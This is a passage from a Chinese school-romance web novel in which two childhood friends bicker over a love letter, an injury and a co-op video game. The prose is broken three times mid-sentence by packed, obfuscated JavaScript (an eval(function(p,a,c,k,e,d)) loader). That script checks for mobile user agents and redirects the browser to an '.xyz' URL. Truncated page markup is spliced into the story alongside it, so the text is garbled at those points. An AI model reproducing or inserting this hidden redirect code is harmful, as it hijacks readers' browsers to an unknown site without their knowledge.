裴祈正在收拾桌上的书册，看起来像刚刷完题。男生微微低头，清瘦的骨架撑起校服。 他拉上书包拉链，随意地挎上肩，转头与她对视：“是看到了屁。” “……” 裴祈抬手看了一眼表，说：“起床，十分钟后出门。” “十五分钟。”沈方月重新躺回去，讨价还价，“我再睡五分钟。” “上次因为你多睡了五分钟，我们在走廊站了两节课。” 沈方月：“那次是因为下暴雨堵车！” “你提前五分钟出门，再堵也不会迟到。” “……你意思是怪我喽！” “不然？”裴祈那边传来一些细碎的声响，应该是进了厨房，“挂了，十分钟后门口见。” 沈方月把被子盖到头顶：“不见！” 裴祈嗯了一声：“那我走了。” “你走！”沈方月闷在枕头里，仗着起床气胡言乱语，“你自己走！以后都自己走！我们以后都不要一起上学了！！” 十分钟后。 俩人一前一后，一起搭上了79号公交车。 这个时间，车上大多是和他们穿同样校服的学生，还有一些通勤时间比较长的上班族。 他们家离学校近，几站路，车子每回到他们这一站都挤满了人。 今天也不例外。 沈方月被挤在人堆里，她像往常一样，一边手抓着公交车吊环，另一边手抓着裴祈的校服，硬邦邦地说：“我这是可怜你。” 裴祈垂眸：“？” “上学路上如果没有我，你会被无聊死的。” “。” “然后你这一整天都会萎靡不振，没有食欲，记忆力衰退，免疫力下降，精神不集中导致学习成绩退……” 沈方月的胡言乱语被一个急刹车打断，笨重的公交车在路上一个急停，全车人都被后坐力拉扯着向后倒。 沈方月挤在人堆里，本来就没怎么站稳，这一晃让她整个人都失去重心，眼看就要撞上后门的扶手。 她的瞌睡瞬间消失，下意识地闭上眼，准备迎接即将到来的疼痛—— 她撞进一个温热的掌心里。 裴祈伸手接住她的脑袋，把人重新扶稳，他们比刚才挨得更近，她甚至闻到了裴祈身上淡淡的薄荷牙膏味。 那只手很快就抽离回去。 “疯话少说点。”裴祈声音淡淡的，带点刚睡醒的沙哑，“张嘴，沈方月。” 沈方月还愣着，下意识张嘴。 然后被塞了一块三明治。 “第一第二节考数学，古涵监考。”裴祈道，“不想饿肚子就赶紧吃完。” 天还未亮透，薄雾清晨，公交车在某个车站停靠，车站边的路牌模模糊糊倒影出车上的人影。 沈方月看着里面高高瘦瘦，给她举着吃了一半的三明治的裴祈，和吃得脸颊鼓鼓的自己。 起床气嗖地一下，神奇地全消失了。 && 山城一中每月都要进行一次月考，就在班里考，不用费劲儿挪座位，考试时间也不固定，只知道会在一周内考完，具体时间由各科老师分别决定。 不过通常都是班主任或科任老师亲自监考，加上有摄像头，基本没人敢作弊。 考完数学，沈方月整个人瘫倒在课桌上。 “怎么样，这次能考过四十分吗。”顾湘收拾着课桌问。 “好像很难。”沈方月说，“我根本不认识后面那些大题！” 脑袋被人很轻地叩了一下。 他们每周轮换一次小组，这周沈方月坐到了靠走廊窗户的位置。她抬起半边脸，跟站在窗外的裴祈对上眼睛。 “再说不认识？”裴祈说，“里面很多个知识点，我上周才给你讲过。” “哪有！” “你点外卖那天。” 沈方月沉默地跟他对视了一会，眨了眨眼睛：“那家外卖的烤鸡翅真好吃。裴祈，我们今晚再点一次吧？” “……” 裴祈面无表情地又往她脑袋上叩了一下。 沈方月捂着被他敲过的地方：“嘶……裴祈！你校园霸凌我！” 裴祈嗯一声：“你报警吧。” 在旁边听他俩聊天的宋哲无语了一下，忍不住出声打断：“我和裴祈去趟食堂，要不要顺便给你们带什么？” 沈方月摇了摇头，今早裴祈做的那份三明治分量太足，她到现在还饱着。 “那帮我带瓶矿泉水吧，谢谢。”顾湘说。 下节课是语文主课，担心再睡下去上课时又会犯困，沈方月干脆撑着脑袋，听顾湘和陈曼对刚才的月考答案。 顾湘说：“这题选B。” 陈曼：“真的吗？可我算过好多次，答案都是A啊。” “我刚才问过裴祈了，他选的B。” “行吧……又错！这次月考排名我又要退步了。”陈曼抓了抓自己的头发，“我什么时候才能拥有裴祈那种不学都会的脑子啊啊啊！” 沈方月从来不参与这种话题，但她听到这，忍不住小声插了一句：“裴祈没有不学啊，他很努力的。” 虽然裴祈确实逃过课，但逃的都是音乐、体育课，而且次数很少。 他每天都早起刷题，晚上放学回家也在刷题。小学初中那一会儿，裴祈爸妈都不怎么在家，总是把他塞到各种补习班，有时明明是寒暑假，他却还是像上学时那样，早出晚归的补课。 明明是努力得来的成果，怎么到了大多数人眼里却成不学就会了？ 沈方月声音很小，被淹没在吵闹的课间，其他两人都没听到，还在专心的对答案。 其实是无关紧要的一句话，但沈方月莫名的想要再强调一次。 她清了一下嗓子，刚想再张口，窗户突然被敲了两下。 三人一起朝外望。 窗外站着一个女生。她披散着头发，五官精致可爱，看起来像洋娃娃，正朝教室里面害羞地张望。 没找到想找的人，女生一脸遗憾地收起视线。 她看见沈方月的脸时愣了一下，半晌才犹豫地稍稍弯下腰，垂眼含羞带怯地小声问：“你好，我想问一下，那什么……你们班的裴祈不在吗？” “他去食堂了。”沈方月道，“你找他有事吗？我可以帮你转达。” “不用不用！我只是……有点东西想给他。”女生问，“请问一下他的座位在哪里？” “就坐这。”沈方月指了指自己的后桌。 他们教室后门前几天被踹坏了，被风吹动时会发出吱呀吱呀的响声，这几天后门就都关着。 女生一脸为难地看着那扇紧闭的后门，刚想说什么—— “你不是高一的学生吗？”某个经过的老师认出该女生，顿住脚步，“怎么跑这来了？” 女生吓得脸一白，立刻站直身，支支吾吾地说：“我，来找认识的学姐聊聊天。”说完，她还指了一下窗里的沈方月。 沈方月：“？” 那老师点点头：“那你聊完赶紧回去吧，还几分钟上课了。” 待老师走远后，沈方月莫名其妙地问：“你不是来找……” “麻烦你！”女生着急地递出手里的东西，“这个……可以麻烦你帮我转交给裴祈吗？或者放到他抽屉里就好……” - 沈方月看着手里散发着香气的橘色信封，表情非常震撼。 “干嘛呢？发什么呆？”顾湘撞了撞她的手臂，“待会语文课要抽背，你背完了吗？” “早背完了。”沈方月呆呆地说，“哎，顾湘，这，是情书吧？” “不然呢？” 沈方月震惊：“那，刚才那个女生……要和裴祈表白？” “？”顾湘也茫然，“有什么问题吗？” 沈方月：“居然会有人给裴祈表白？？？” “……” 顾湘把书塞进抽屉，冷静地说：“那很正常。” “哪里正常了？”沈方月说，“裴祈嘴巴这么毒，天天拽着脸，还经常不理人！” “可是他很帅啊。” “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760835|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >行吧。 这点沈方月是承认的。 从幼儿园开始，她妈、老师、身边的邻居们，说得最多的话是“小祈怎么长得这么帅”。 沈方月：“帅也不能当饭吃！” 顾湘：“可以。” “……” “而且，”顾湘说，“他好像只对你嘴巴毒一点？” “……” 沈方月想了一下，还真是。 裴祈在她心目中的形象一下就变得更可恶了。 沈方月盯着手里的情书出神，内心十分复杂——她也说不上来到底是为什么复杂。 可能因为在她心里，裴祈还一直是小时候那个爱臭脸爱怼人的小男生，完全跟“恋爱”沾不上关系。 也可能因为裴祈谈恋爱后，就没什么时间再陪她打电玩了。她刚买的掌机新游戏他们还没通关。 对，一定是这样。 那个游戏卡带特别贵，她花了好几百块钱呢。 “你盯着别人的情书发什么呆？”顾湘挑眉。 “没。”沈方月说，“我在心疼我的游戏卡。” “？” 听完沈方月的顾虑，顾湘莫名有点想笑。 “首先，那个游戏卡我也能陪你玩。”她道，“其次，我不觉得裴祈会答应那个女生。” 沈方月啊了一声：“为什么？” “直觉。”顾湘说，“而且裴祈被告白过这么多次，我也没见他和哪个女生在一起啊。” “？” “他被告白过很多次？？”沈方月再次震惊，“我怎么不知道？！” “哦，那几次你好像都正好不在。有好几个女生跟他告过白，光我碰见的，就有两个送情书，和一个把他叫出去说的。”顾湘说完，顿了一下，“奇怪，他没跟你说过吗？” “……” && 从食堂出来，宋哲看着裴祈手里的牛奶和小面包，有点纳闷：“月姐不是说不吃吗？你怎么还给她买。” 裴祈说：“她上完第四节课就成饿鬼了。” 宋哲：“……” 裴祈回到教室时，沈方月正低着头，不知在偷偷摸摸看什么。 裴祈抬手，模仿古涵的力道用力敲了两下她旁边的窗户。 果然，窗里的沈方月被吓得肩膀都抖了一下，下意识地拼命藏自己手里的东西。 裴祈扑哧一下低笑出声。 沈方月：“……” 沈方月：“裴祈你是不是想死！！？” 裴祈把面包和牛奶扔到她桌上。沈方月顿了一下，说：“我不是说了我不饿。” “嗯。”裴祈说，“一会儿谁吃它们谁小狗。” “……” 上课铃声响起，裴祈刚想回座位，手腕被抓住了。 沈方月的体温，连同橘色信封一起，被放到他手心里。 裴祈顿在窗外，很难得地愣在原地。 “给你的。”沈方月谨慎道，“你拿好。” 裴祈看着她，喉结很微妙地滚了一下。 “什么东西。”他问，“情书？” 沈方月闷声：“是吧。” 窗外没了声。 沈方月等了一会儿，语文老师的身影都出现在走廊远处了，那只手都还横在她面前没收回去。 她抬头：“你干嘛？赶紧收好，一会儿老师看见了……” 对上裴祈的眼神，沈方月微微一怔。 裴祈平时就算是笑，也总是带着一点冷淡的讥讽，看着就不安好心。 和此刻不同。 窗外，裴祈笑得很淡，垂下的眸光罕见的温柔，像融进了夏日沁凉的河水。 “沈方月。”他说，“你终于长脑子了？” 沈方月蓦地回神。 裴祈真！的！只对她嘴毒！！ “你才不长脑子！”沈方月说，“那个女生到底看上你什么了！” “？” 裴祈拿着情书的手指蜷了一下，不过几秒就反应过来。 “这谁给的？”不知安静了多久，他问。 “不知道，不认识，好像是高一的。”沈方月说完，忍不住又补了一句，“长得很漂亮，就是眼神好像不太好。” 沈方月眼睁睁看着裴祈收起笑，又回到平时那副冷冰冰的拽脸。 不，好像比平时还要冷。 ？ 她开始反思自己最后那句是不是说得有点过了。 俩人之间沉默了一阵，沈方月小声地补了一句：“不过萝卜青菜各有所爱，可能她就是喜欢你这种长得欠揍的……哎！你干嘛！我的小面包！” 裴祈收起情书。 连同沈方月桌上的牛奶和小面包。 9. 第 9 章 这天上午，沈方月在经历与裴祈搭话没得到回应、几次回头都对不上裴祈的视线、偷偷发出的消息石沉大海后，非常遗憾地得出结论—— 裴祈生气了。 裴祈其实很少生气，平时她说些什么垃圾话，做什么无理取闹的事，裴祈只会冷笑着回怼，直到他们有一方胜出为止。虽然几乎每天都在吵架，但吵完的下一瞬间，他们似乎就默契地和好了。 沈方月跟他认识这么多年，见过他生气的次数一只手都能数出来，其中大多数都是因为他的父母。 印象中裴祈唯一一次对她认真地生气，是在暑假之前。 她告诉裴祈自己有喜欢的人了。 裴祈当时正懒散地在拼乐高，闻言停下动作，过了好久才转头看她。 她很少见裴祈的脸色这么差过。 裴祈眼珠本就偏黑，面无表情睨下来时很冷漠。 沈方月没怎么见过对方这种神色，她还没反应过来，就听见裴祈说：“沈方月，你看看你上学期的期末成绩。你有资格早恋吗？” 沈方月回神，顶嘴。 她已经不记得当时他们吵了什么了，那时的她原以为他们只是像平常的吵架，但那次之后，裴祈足足有两个星期没理她。 后来是她妈见她情绪低落，当了他们的和事佬。虽然他们和好了，但后来每次聊到顾飞白的事，裴祈反应依旧很刻薄。 那次吵架后，沈方月复盘了很久，才想明白裴祈生气的理由。 无非就是他觉得她成绩很烂不能早恋，为了她的前途感到担忧。 ok，这她勉强能理解。 那这次裴祈到底又为什么生气？？？ 很多科老师选择把月考安排在今天，考完英语，沈方月肚子已经饿得咕咕叫。 她捂了捂胃，好后悔没在裴祈生气前把小面包先扣下。 旁边，顾湘和陈曼又在对答案。 古涵给她安排的这个座位可谓用心良苦，班里几个热爱学习的几乎都快把她包围起来了——不过他们学校身为山城本科率第一的高中，班里的学渣也算屈指可数，就连钟震和宋哲，平时的模拟分数也不差。 听了一阵身边两人的对话，沈方月眨眨眼，心生一计。 她转头，用笔轻轻敲了敲裴祈的课桌，故作随意地问。 “裴祈，你英语卷子选择题最后一道选的什么？” 无人应答。 裴祈把笔合上，眼皮恹恹垂着，没看她。 远处，钟震人影未到，声音先行：“考得头大。宋哲，怎么说，去厕所吗？” 他们几人口里的“去厕所”，当然不只是单纯的去厕所。 宋哲：“行啊，走。” 宋哲伸了个懒腰，刚要起身，身边的人却先他一步。 钟震随口问：“去哪儿啊裴祈？” 裴祈说：“和你们一起。” 钟震：“？” 钟震和宋哲都愣了一下，直到裴祈都走出后门了，俩人才急匆匆跟过去。 沈方月噘嘴转回身，笔用力地在课桌上敲了一下。 “顾湘，你说，”她气愤道，“裴祈他这是对我冷暴力吧？是吧？是吧！？” “……你这新学的词挺新鲜。”顾湘把头发全撩到耳后，“不过冷暴力不是指情侣之间吗？” “谁说的？朋友之间也会冷暴力！” 沈方月把下节课的课本抽出来，扔在课桌上，扔出狠话：“行啊，他不理我，那我也不理他了！” 顾湘点头表示支持：“你做得对。” 顾湘刚把笔收进笔袋，沈方月忽然往她这靠了靠，小声地问。 “可是顾湘，我之前说的那些话，有那么过分吗？我以前也总这么说他呀。” “……” 沈方月继续嘀咕，“那他如果真觉得过分，可以骂回来嘛，没必要不理人啊，你说是不是？” “……” && 厕所旁少人经过，没有监控的走廊。 “裴祈，今天怎么回事？”钟震说，“你不是说以后都不抽烟了吗？” 裴祈懒懒倚着墙，视线散漫地定在旁边的榕树上，没吭声。 “你不懂。”宋哲反应过来了，给裴祈也递了一支烟，笑呵呵地说，“我兄弟可是刚收了一封情书，这不得抽根来缓一缓！” 裴祈摇头：“不抽。” “不抽你跟我们过来干嘛？”钟震莫名其妙，又紧接上刚才的话题：“真的假的？情书？谁给的啊？我们班的？” “不是，月姐和顾湘她们帮着收的，据说是高一的。” “哎，你要这么说的话我有印象！”钟震狠狠拍了一下掌，“我看到那女生了，就站窗外跟沈方月说话呢。我知道她，上学期她们班拿了高一健美操比赛一等奖，她是那个领舞！” 宋哲：“是她？那我也记得，当时升旗的时候她还代表她们班上去领奖了，挺漂亮的。” “什么叫挺漂亮，人家是级花好吧？” 钟震说完，朝裴祈扬了扬下巴，“放心兄弟，以后你们去操场约会，我和宋哲肯定帮你们打掩护。” “用不着。”裴祈终于开口，嗓音比平时还冷淡，“没打算谈。” “靠。”宋哲虽然不意外，但还是没忍住，笑着爆了句粗口。 钟震：“为什么啊？人家这么漂亮，也不给个机会？换我，我高低得给她一封三千字的回信。” “喜欢你去追。”裴祈很敷衍地鼓励他。 这次轮到钟震“靠”了。 钟震狠狠抽了几口烟，在心里怒斥几遍命运的不公，妈的我怎么就没裴祈这么帅。 骂着骂着，钟震想到什么，脱口感慨而出：“不过也是。你跟沈方月认识这么久，你要只喜欢漂亮的，那肯定也是喜欢沈方月。” 一直懒洋洋的人闻言，垂在身侧的手指很微妙地蜷了蜷。 宋哲点头表示同意：“也是。我小学初中和他俩同校不同班，他和沈方月可是当时学校里的红人，初中的时候我们班男生女生天天故意经过他们班教室，就为了看他们。” “现在不也一样？”钟震笑了，随口道，“说到这……裴祈，我高一刚跟你们同班的时候，一直以为你和沈方月在谈。” 裴祈还没说话，宋哲笑骂：“谈个毛，人家纯友谊。” 钟震：“我知道，这不是以为嘛……哎，裴祈，所以你到底喜欢什么类型的女生？” 没得到回应。 钟震也就是随口那么一问，没指望对方会回答，他扭过头，刚想问宋哲放学去不去上网。 “漂亮的。” “啊？”钟震一愣。 “我说，”裴祈嗓音轻飘飘地，“我喜欢漂亮的。” && 晚上回家，沈方月给她妈打了个电话。 她整个人瘫在书桌前，拖着音调问：“妈——你什么时候回来啊——” 叶婉本打算待几天就回去，谁想工作临时出了点小状况，拖了快一个月还在纽约。 “别撒娇。我走那天你偷偷溜出门的事我还没跟你算账，回去你还是得挨揍。”叶婉温柔地通知她，然后问，“怎么，想妈妈了？” “想了，想得茶不思饭不想。你什么时候回来呀？” “少来。我可是问了阿姨的，她说你每顿都吃得很香。”叶婉还不了解她，“说吧，最近发生什么事了？” “也没什么事……”沈方月心不在焉地玩着自己头发，嘟哝道，“裴祈又不理我了。” 就连今天放学回家，裴祈在公交车上都没跟她说话。 “你做什么事了？小祈脾气这么好的人都能被你惹生气。” “我哪有——”沈方月顿了一下，“他哪有脾气好啊！他明明天天怼我！” “哪次不是你先招惹他。” “……” 电话那头传来一阵动静。叶婉道：“行了，我马上进会议室了，裴祈的事你自己想办法吧。赶紧跟别人和好。” “……” 挂了电话，房间里霎时安静下来。 沈方月在书桌上躺了一会儿，默默起身，拉开窗帘，想进行今天第八次试探—— 对面的灰色窗帘被拉得密不透风，彰显着它主人的态度。 冷暴力！这就是冷暴力！绝对是冷暴力！！！ 小气鬼！ 沈方月嗖地一下也拉上窗帘，抓起衣服进了浴室。 她想通了！ 不就是冷暴力吗？谁不会？！ 她以后也不和裴祈说话，不和裴祈发信息，不和裴祈打电玩了！ 假期不会再陪裴祈回他老家去遛狗了！ 也不会再省生活费给裴祈买乐高了！！ 他们友情！到此为止！！！ 沈方月越想越硬气。她气势汹汹地解开发绳，气势汹汹地拿出手机，气势汹汹地打字：裴祈！我们绝交了！互删…… 沈方月字还没打完，脚下突然一滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760836|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——下一秒，她气势汹汹地摔倒在地。 沈方月这一摔根本没有任何防备，她手里拿着手机，没有第一时间去扶旁边的东西，几乎是摔了个十成十。 沈方月从小就怕疼，她觉得自己的屁股和膝盖都快没知觉了。她下坠时还撞上了盥洗台，沐浴露和洗发水跌落一地，满室狼狈。 沈方月在地上坐了好久才缓过来，一睁眼，就看到了自己小腿蹭出的一道道血痕。 沈方月：“……” 沈方月捞起手机，点开页面上的头像，拨打语音。 没多久，电话通了。 裴祈居然还接她语音——这个念头刚闪过去，沈方月忽然想起来，裴祈虽然经常不回她消息，但好像从来没有错过她任何一通电话。 沈方月安静地想了好久，电话那头的人终于等烦了：“说话。” 沈方月本来忍住了的，她刚才还坚强地试着自己站起来，只不过失败了。 不知为什么，听见裴祈的声音，沈方月鼻子骤然发酸。 “裴祈。”刚叫出对方的名字，沈方月的眼睛就像被划了一道，眼泪怎么也止不住，“裴祈，我摔了，好痛，流血了。” “……” 沈方月觉得自己的哭腔好丢脸，然后又控制不住地，很响地抽了一声鼻子。 对面没吭声，沈方月刚想说自己屁股也很疼，嘟地一声，电话挂了。 沈方月：“？” 她脸上挂着泪，手里还举着着电话，在地上坐了好半天。 他们只是绝交了，又不是结仇了。 裴祈居然连她的死活都不管了？？ && 裴祈拎着医药箱走进浴室时，沈方月还坐在地上。 她埋着头，正在和叶婉打电话，委屈地哽咽。 “嗯，流血了，不用打120，你叫阿姨来一趟就好，我好像没办法自己站起来……叫什么裴祈，别跟我提裴祈，我正式宣布，我已经和裴祈绝交了，我这辈子都不会再跟他说话了……这次是真的，我发誓，以后在家里都不准提他的名字……妈，不然我们搬家吧，我这辈子都不想再见到他了，我一见到他就会胸闷气短体虚头——妈，我挂了。” 听了半天疯言疯语的叶婉：“挂什么？阿姨来了再挂，待会你疼晕了怎么办？” “裴祈来啦。”沈方月说，“你让阿姨不用过来了，我挂了哦，妈。” “？” 沈方月挂了电话，仰起脑袋，朝裴祈眨了几下眼睛。 她刚哭完，眼眶都还是红的。 裴祈：“什么时候搬家？” 沈方月：“一百年后？” “。” 裴祈懒得和倒霉蛋计较。他走过去蹲下，问：“摔哪了。” 沈方月挪了挪小腿，给他看后面的血痕。 伤口其实不深，但沈方月长得白，血痕在她身上显得格外渗人一些。 裴祈从医药箱里拿出酒精，说：“忍着，沈方月。” 沈方月：“嗯！” 应得很勇敢，蘸了酒精的棉签碰上伤口的下一秒，裴祈的衣服被抓成了团，沈方月脑袋顶在他的手臂上，好像很辛苦地忍住了自己嘴里的尖叫。 消完毒，上了药，裴祈身上的t恤已经皱到不能见人了。 “沈方月。”裴祈无语地看着顶在自己手臂上的人，“你是牛吗？” “可是我很疼。” “……” 裴祈不耐地皱眉，手心扶着她的小腿，很轻地在伤口上吹了两下。 沈方月抓衣服的力道松了一点。 “裴祈，上午是我胡说八道。”半晌，沈方月忽然说了这么一句。 裴祈动作一顿。 “你虽然很欠揍，但长得帅，学习好，打球打游戏都很厉害。”沈方月说，“那女生眼神其实挺好的。” 嗯。 只有你是瞎子。 “我以后不那么说你了，你别生气了。”沈方月仰起脑袋，认真地承认错误。最后还补了一句，“你这么好，以后肯定会有更多女生喜欢你的。” 裴祈垂眸，定定地看着她通红的眼眶，许久没吭声。 沈方月以为是自己吹他吹得还不够，正想着再多补几句，脑门就被弹了一下。 带了力气，有一点点痛。 “沈方月，我不需要很多人喜欢。” 裴祈语气很凉，刻薄道，“骨头断了么？没断就扶着我起来。” “……” 10. 第 10 章 沈方月几乎是被扛出去的。 因为常年打球，裴祈手臂力量很强，毫不费力就把人扶了起来。 沈方月起初还有些担心站不稳，靠到裴祈身上才安心下来。 裴祈穿了一件很随意的灰t，夏风拂进窗隙，沈方月闻见一道淡淡的柑橘香。 是一阵寡淡的清甜，转瞬即逝，有点好闻。 于是她微微仰起下巴，凑近对方的脖颈又嗅了嗅。 感觉到沈方月清浅的呼吸，裴祈颈边微麻。他撇开脸：“你在闻什么？” “你身上的沐浴露很香。”沈方月夸赞道，“我真会挑。” 家庭原因，他们家每年去超市采购年货都会叫上裴祈。起初裴祈不愿意去，但拗不过沈方月死缠烂打，后来就变成了每年固定节目。 裴祈浴室里的一整套洗护，都是沈方月为他挑的。 裴祈说：“我还没洗澡。” 下一瞬，沈方月满脸疑惑地又凑上来：“那你这是什么味道？” “……” 正好到椅子旁，裴祈手指抵着她的额头，把人挪远，面无表情地说：“坐好，沈方月。” 沈方月靠着椅背，脚不是很美观地搭在桌沿。 伤口被裴祈清理过，涂上碘酒更显可怖。 沈方月看着自己腿上奇形怪状的伤口，小声碎碎念：“怎么摔得这么丑。” 裴祈拎着医药箱从浴室出来，凉声说：“嗯，下次争取摔好看点。” “……” 沈方月从小就总是磕磕碰碰的，为此她妈还确认了很多遍她到底是不是扁平足。 不过好在，她摔了这么多回，没留下什么疤痕。 沈方月这次摔得不算太严重，勉强能一瘸一拐地走，只是上下楼梯还是需要人扶，走得也不快。 幸好这两天是周末。 周六清晨，沈方月窝在被子里，一只伤了的腿懒洋洋地挂在床边，慢吞吞地回她妈的消息。 叶婉：[阿姨今天炖骨汤，你多喝点。我问了阿姨，她下午有事，没时间照看你，我让人再找一位阿姨上门。] 小月亮：[不用了妈，我腿今天没那么疼了。] 小月亮：[而且有人管我，你别担心。] 回完消息，沈方月放下手机，忍不住伸了伸脑袋，问坐在她书桌前刷题的人。 “都这——么久了，还没做完？” 对方没搭理他。 沈方月大言不惭：“哪道题不会，拿来我教你。” 裴祈转了一下笔，头也没回：“这种话你是怎么说出口的？” “我脸皮厚。” “。” 托父母的福，裴祈做题很难被干扰。 以前哪怕楼下吵得天翻地覆，他脑子里的计算公式都完全不会被打乱。 但这一会儿。 身后的目光时不时地传来，虽然对方没再发出一点声音，但他总是能轻易感觉到。 在沈方月第十二次从手机里抬头时，书桌前的人忽然回头，俩人冷不防地对上视线。 沈方月头发有点乱，朝他眨巴了一下眼睛：“做完啦？” “没。”裴祈说，“你太吵了。” “？？”沈方月在脑子里复盘了自己前半个小时的沉默，“我说话了？” “你眼睛很吵。” ？ 沈方月好后悔没把他们这段对话录下来，在小区、学校里循环播放，向全世界证明平时其实都是裴祈对她没事找事无理取闹—— 裴祈问：“你想玩什么？” “游戏！”沈方月眼睛一亮，脑子里的碎碎念骤然消失，兴奋地脱口而出，“前两个月刚出的那款双人游戏！我买的游戏卡到了！” 裴祈哦一声：“不玩。” 下一秒，橘黄色的枕头破空而来，裴祈熟练地接住，脸上终于又挂回一点冷淡的笑。 && 客厅沙发。 沈方月把头发绑在脑后，耳边留下几簇碎发，手中抓着游戏手柄，脸上是古涵看了都要气晕、平时上课见不着的专注和认真。 游戏分别有两个角色，常规的一男一女。 沈方月一如既往选了男性角色，并给对方取名“裴乌龟”，很大佬地说：“我看过攻略，待会儿听我指挥。” 裴祈习惯地去点女角色，在取名栏里输入“沈笨蛋”，冷笑一声表示回答。 这款游戏因关卡丰富、画面精美，去年便在国外大火。不过它仍然保持双人游戏的核心——需要两个玩家分配合作，各自完成任务，才能一路打通关卡，通向最后结局。 当然，如果其中一方完成任务，而另一方任务失败，俩人就都得重新打一遍当前关卡的任务。 裴祈第十一次打死自己任务里的小boss，然后看见地图远处，被小boss一脚踩下楼的队友。他偏头无声地盯着旁边的人。 第十二次复活的沈方月：“……这次一定。” “‘我看过攻略’？”裴祈重复。 “是那个攻略写得太烂了！” “人不行怪路不平。”裴祈点评。 “……” 手被人碰了碰。裴祈敲她的手背，示意她：“手柄给我。” “不，我自己过，我这次一定可以。” “你上一次也这么说。” “我找到感觉了，真的。”沈方月牵住他的手指，把他的手挪开，“你别动，别影响我发挥。” “……” 沈方月手指细瘦，触感温软，牵上来的时候没带什么力气，很快就松开他撤回去。 被放开的手指在半空悬着，半晌才放下。 第十七次挑战，当看见小boss轰地一声倒地不起时，沈方月坐着愣了好久才回神。 然后兴奋地把手柄一把扔到旁边。 裴祈今早起的比平时都早，他懒懒地倚在沙发上，神色疲倦，眼见就快睡着，脖子突然被人凶猛地搂住。 沈方月瘦小的胳膊罕见有这样的力量。她单手勾着裴祈的脖子使劲儿晃悠，在他耳边尖叫：“裴祈！裴祈！我过了！我过了！裴祈！！你就说！我牛！不！牛——” 最后一个字还没说完，裴祈手下微滑。 咔地一声，在屏幕右下角悬崖边发呆了好久的女角色忽然往前一步——啪，掉进了游戏深渊。 俩人呆若木鸡。 在一片死寂中，电视屏幕一黑，一行他们看了十六次、已经熟悉得不能再熟悉的字幕跳出来—— 【游戏失败，是否继续挑战？】 沈方月：“……” 裴祈：“……” 大约安静了十几秒。 裴祈冷静道：“我说我不是故意的，你信吗？” 沈方月也很冷静。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是，你怎么又生我气？”沈方月非常无辜，“就因为我一关打了21次？——但最后那4次是因为你手滑失败了我才重新玩，要细说我们可都有责任，你不能单方面生气的。” “……” 裴祈抬头，用一种很无语——准确来说是看脑残的眼神看她。 “没生气。”他说。 “放屁。你就是生气了。”沈方月说，“你从小生气就是这张臭脸。” “说了没有。”裴祈说，“只是暂时不想和傻子说话。” “？” “还有，沈方月，我不会和别人谈恋爱。” 裴祈没什么语气，脸色凉，声音也凉，“所以以后不要再给我接一些莫名其妙的情书回来，知道没？” 沈方月：“那如果别人让我帮忙转交，我难道拒绝——” 裴祈很冷地抬起眼。 沈方月立刻举手朝他敬礼：“yes sir！” 裴祈：“……” 呆子。 11. 第 11 章 山城冬冷夏热，其余两个季节几乎等于不存在。眼见已经快十月，许多地方都入了秋，山城仍旧艳阳高照，教室窗外树木郁郁葱葱，蝉鸣不绝。 下课铃响，老师走出教室，死气沉沉的教室才终于有了点生气。 “去小卖部买零食么？” “不去，这么晒，待会儿又一身汗。” 一个高大的身影绕到说话二人面前。 男生剃了干净的平头，在一众蔫黄瓜里显得特别精神，他手里拿着一个小本子，嗓音干净洪亮：“聊什么呢？来，二位先别睡，报名一下运动会。” 二人：“……” 说话的是体育委员罗闻，是班里最热心的男同学，没有之一，会说话会办事儿，不论是在老师还是学生群体中都人缘极好。 罗闻记下二人报名的项目，接着往后走。 “顾湘，”他脸上笑容忽然更热烈了些，声音却小很多，“运动会要报什么项目？” 顾湘抬头看他，厚重的眼镜后面是一双没什么情绪的眼睛：“能不报吗？” 罗闻为难道：“恐怕不行，和去年一样，老师说女生每个人都要参与一个项目。” 顾湘陷入短暂的沉默。 顾湘和沈方月在同学眼里是完全不同的存在。 沈方月长了一张漂亮高傲的脸蛋，性格却出人意料的开朗明媚好说话。 顾湘有一双干净的圆眼，嘴唇轻薄，清爽飘逸的短发，看起来和善怯弱。 但其实并不是那么好相处。 她话少，表情也很少。除非必要，否则从不会和别人主动搭话，就连应答都清清淡淡，班里她只和沈方月、裴祈和陈曼相熟一些。 顾湘很快垂下眼皮：“那我报一百米。” “一百米已经被报满了，”罗闻飞速看了眼报名表，“接力可以吗？男女混合4x400米。” “我跑很慢，会拖后腿。有没有其他的单人项目？” “不好意思啊，我从第一组问过来的，女生单人项目都报得差不多了。” 罗闻低头，不自觉地摸了一下鼻子，笑笑，“而且，我觉得你平时跑得挺快啊，体育课的时候，你总是前几名跑完的。” 那是因为想早点回教室做题。 见没有别的选择，顾湘放弃废话，重新低头看书：“那就接力吧。” 罗闻笑着点头，在自己的名字后面，端端正正地写上“顾湘”。 然后就要往下一桌走。 “那我也跑接力吧。”旁边的沈方月支着下巴，嘴唇上衔着笔，蔫蔫地说。 